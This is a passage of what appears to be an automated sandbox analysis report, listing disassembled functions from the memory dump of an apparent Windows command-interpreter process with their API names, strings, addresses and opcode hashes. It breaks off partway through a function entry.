                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$_wcslwr
                                                    • String ID: [%s]
                                                    • API String ID: 886762496-302437576
                                                    • Opcode ID: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
                                                    • Instruction ID: f86bed8d1028a8d02cb7709402c3fd8e3bf61ed711aa247ab593805bf0f0b010
                                                    • Opcode Fuzzy Hash: eb4fc62ff4127de29e093c52d368a60165998186bbeaa5c9376a54b17af478ff
                                                    • Instruction Fuzzy Hash: 42317832719B8285EB61CF69D8507E967A0FB89B88F444035DF8D8BB66DF3CD6458340
                                                    Function 00007FF6BF3F9114 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: fprintf
                                                    • String ID: CMD Internal Error %s$%s$Null environment
                                                    • API String ID: 383729395-2781220306
                                                    • Opcode ID: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
                                                    • Instruction ID: acfea173d1e16522463e2ddbd4150bffabb554224834eee510c819dd7e597a22
                                                    • Opcode Fuzzy Hash: 0cb055b157f36561183311c9dd91b0f05aa56f2c0aaf14e14510f586112b26cc
                                                    • Instruction Fuzzy Hash: A6119131D0964281EB959BACE9200B96761EB547B0F444332D77EC72F5EF2CE455C780
                                                    Function 00007FF6BF3E04F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: AddressHandleModuleProc
                                                    • String ID: KERNEL32.DLL$SetThreadUILanguage
                                                    • API String ID: 1646373207-2530943252
                                                    • Opcode ID: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
                                                    • Instruction ID: ef56d5d64cc29e1f089913b1733ce5fd73dac699d2b2940ebc68448b5b9d5a82
                                                    • Opcode Fuzzy Hash: 33fd74526e8d725267334377f69302da3f837b9787d184b3d8809460f86dc4c4
                                                    • Instruction Fuzzy Hash: 9D011A70E1DA0681EA448BADA85117827A0EF69770F445735C73E863F2DFBC69948340
                                                    Function 00007FF6BF3D1130 Relevance: 6.2, APIs: 4, Instructions: 156COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$CurrentDirectorytowupper
                                                    • String ID:
                                                    • API String ID: 1403193329-0
                                                    • Opcode ID: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                    • Instruction ID: dfc52e1268e65697ab38eadeae7a19920d1d3264826479750451ea87f976894f
                                                    • Opcode Fuzzy Hash: 9eadb3359a7035c4c8b06301bcad4ec111c2959e7ad062144f1a1f931ae642b1
                                                    • Instruction Fuzzy Hash: 4D618C32A18B828AFB60DBA998402ED77B4FB84748F544135DF5D8BBA9DF38D851C740
                                                    Function 00007FF6BF3E4878 Relevance: 6.1, APIs: 4, Instructions: 138COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsnicmp$wcschr
                                                    • String ID:
                                                    • API String ID: 3270668897-0
                                                    • Opcode ID: c131fa53280227e888b319e24c815cf36435a05d61152e6198fec243a6d9d163
                                                    • Instruction ID: df5e4a38cfbb0a3ab007ece7ad0a3ae7cdeb9938600dbad95532ed27cd9e5952
                                                    • Opcode Fuzzy Hash: c131fa53280227e888b319e24c815cf36435a05d61152e6198fec243a6d9d163
                                                    • Instruction Fuzzy Hash: 8B51A426E1864281EB606FA9D4101B967A1EF95B80F498131DB4E8B6F6DF7CDD81C3B0
                                                    Function 00007FF6BF3FF358 Relevance: 6.1, APIs: 4, Instructions: 74COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DriveFullNamePathType
                                                    • String ID:
                                                    • API String ID: 3442494845-0
                                                    • Opcode ID: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
                                                    • Instruction ID: 53804511f938ed2bf23a47276a58a5bc8a57ddfb1cd654459ccb3e0e161a1d3c
                                                    • Opcode Fuzzy Hash: 96e94011f7e51b9192f665da575d41fb78cf0bd335fa213fa644a3e80f09fdea
                                                    • Instruction Fuzzy Hash: 6C316932619B828AEB60CF65E8407E977A4FB89B84F484135EB4D8BB64CF38D645C740
                                                    Function 00007FF6BF3E8F80 Relevance: 6.1, APIs: 4, Instructions: 73COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
                                                    • String ID:
                                                    • API String ID: 140117192-0
                                                    • Opcode ID: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
                                                    • Instruction ID: c3d6a39b58c2e08108aa2abafa24877a74b8f08b662b1448d74f959f566de802
                                                    • Opcode Fuzzy Hash: f9503a7e6f26e693eab0e8ec34dcabcd79a91a5ad0fdcc229cb5dec8ce22a0f7
                                                    • Instruction Fuzzy Hash: 2941D435A18B4281EA508BACF890365B3B4FBA8754F904036DB8DC6776DFBCE449C740
                                                    Function 00007FF6BF3E8470 Relevance: 6.1, APIs: 4, Instructions: 72stringCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcstol$lstrcmp
                                                    • String ID:
                                                    • API String ID: 3515581199-0
                                                    • Opcode ID: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
                                                    • Instruction ID: 916695e7ad90f7c52bb689212cc3250bd9583203dd4a213239ac0fab33196bec
                                                    • Opcode Fuzzy Hash: 5b9efed5608bd49f2816daba6a3b85e90b3500fb38e55be3423670eddfbfd6ec
                                                    • Instruction Fuzzy Hash: 8E21B432E2864283E7604BFDA59413A6BA0FF49740F056134DB4F8A6B4CF6CE8468B50
                                                    Function 00007FF6BF3D4F58 Relevance: 6.1, APIs: 4, Instructions: 72filetimeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File_get_osfhandle$TimeWrite
                                                    • String ID:
                                                    • API String ID: 4019809305-0
                                                    • Opcode ID: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
                                                    • Instruction ID: 7f46535289da94ceff9fee47fa04413468467e6a051f5dcdd605eb16965115e5
                                                    • Opcode Fuzzy Hash: 81587e0329514d19275e074575feb35963da2dd15ba7483d0e323a7e2a39d08e
                                                    • Instruction Fuzzy Hash: F2316126A08642C6EBA05BAC94847796B91EF59B50F145238DB4D8BBB6CF3CD8648740
                                                    Function 00007FF6BF401914 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DriveNamePathTypeVolume
                                                    • String ID:
                                                    • API String ID: 1029679093-0
                                                    • Opcode ID: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
                                                    • Instruction ID: 7bd17e0f107bb623afc1e29bc8eaab457560ef446ef9b4703980a4563c7c0dac
                                                    • Opcode Fuzzy Hash: d45035a7c6ac09dbba50d0c00beb4f85e1cca4574d2ac4f31282f71e25618f1f
                                                    • Instruction Fuzzy Hash: EF315832705A818AEB308FA5D8943E967A0FB8AB88F444135CB8D8BB59DF3CD655C700
                                                    Function 00007FF6BF3FE810 Relevance: 6.1, APIs: 4, Instructions: 67fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: File$DeleteErrorLastWrite_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 2448200120-0
                                                    • Opcode ID: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
                                                    • Instruction ID: 2f2a9db72c984973d9e909d2c5dd86dee106281f413dc0c8a83f922306f97200
                                                    • Opcode Fuzzy Hash: 8b4da8a10e097a17451e285642832c13025bfbcfcba5fc9726ddc1af043f7f21
                                                    • Instruction Fuzzy Hash: D0216D31A18752C7E754ABA9A40027DBBA1FF84B81F044135EB0E8B7A6CF3CE451CB40
                                                    Function 00007FF6BF3E7CF8 Relevance: 6.1, APIs: 4, Instructions: 63memoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
                                                    • Opcode ID: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
                                                    • Instruction ID: b41c96e68d63fa7b4482f51987350c91e41226927270a93d77dd25c85692b660
                                                    • Opcode Fuzzy Hash: 42f91e47f3ef5671c9468e2150952d512ccb49b47a4aa8ec2999c576e9d14cb8
                                                    • Instruction Fuzzy Hash: 6A215671A18B4286EA049B99A91407A7BA1FF89BD0B549230DF1E877B6DF3CE4418760
                                                    Function 00007FF6BF4010D8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • wcschr.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF6BF3F827A), ref: 00007FF6BF4011DC
                                                    • memmove.MSVCRT(?,00000000,00000000,00000000,00000001,0000000A,?,00007FF6BF3F827A), ref: 00007FF6BF401277
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcessmemmovewcschr
                                                    • String ID: &()[]{}^=;!%'+,`~
                                                    • API String ID: 1135967885-381716982
                                                    • Opcode ID: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
                                                    • Instruction ID: 09dc9e408d25bac34f809080ded66c7f6c7bbdaa8e8f36ad1d20da2542b054f2
                                                    • Opcode Fuzzy Hash: 889ed0e1ac931929da6aa725351c410d7e283b9244a42ae2ffb62b95a24414b6
                                                    • Instruction Fuzzy Hash: 2F71C671A0824286E7608FADA4806B97BA4FFE9798F405235CB4DC7BB1CF7CA5418B00
                                                    Function 00007FF6BF4008EC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memmovewcsncmp
                                                    • String ID: 0123456789
                                                    • API String ID: 3879766669-2793719750
                                                    • Opcode ID: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
                                                    • Instruction ID: 621fa378d98a322dc9d9bc4f451baea35eb5c8f2c26dacde3049241d5f3dafe8
                                                    • Opcode Fuzzy Hash: b6d2eb98a78dae28402b6106fc772dbd77ca9a03dc6c88e297d1125e4b884182
                                                    • Instruction Fuzzy Hash: 5041E422F1878A81EA258F7E94106BA73A4FB64BD0F445131DF4E877A6DFBCD5418780
                                                    Function 00007FF6BF3F9784 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3F97D0
                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3F98D7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000005.00000002.1718590724.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000005.00000002.1718550849.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718686245.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718725788.00007FF6BF424000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000005.00000002.1718974803.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_5_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heap$AllocCloseOpenProcessiswspace
                                                    • String ID: Software\Classes
                                                    • API String ID: 2714550308-1656466771
                                                    • Opcode ID: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
                                                    • Instruction ID: fef7d609f52203b470e523da53db149d1d15b14792cca1024cb0c3152ee2ccb2
                                                    • Opcode Fuzzy Hash: eb7f4015b54f8209f821cd25b29d275aeb821b067b2f4fde3e660eb3c9d82795
                                                    • Instruction Fuzzy Hash: 7041AF22A2A75281EA40DB9ED86403963A4FB84BD0F508131DF5E8B7F1DF39E856C380
                                                    Function 00007FF6BF3FA0B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3FA0FC
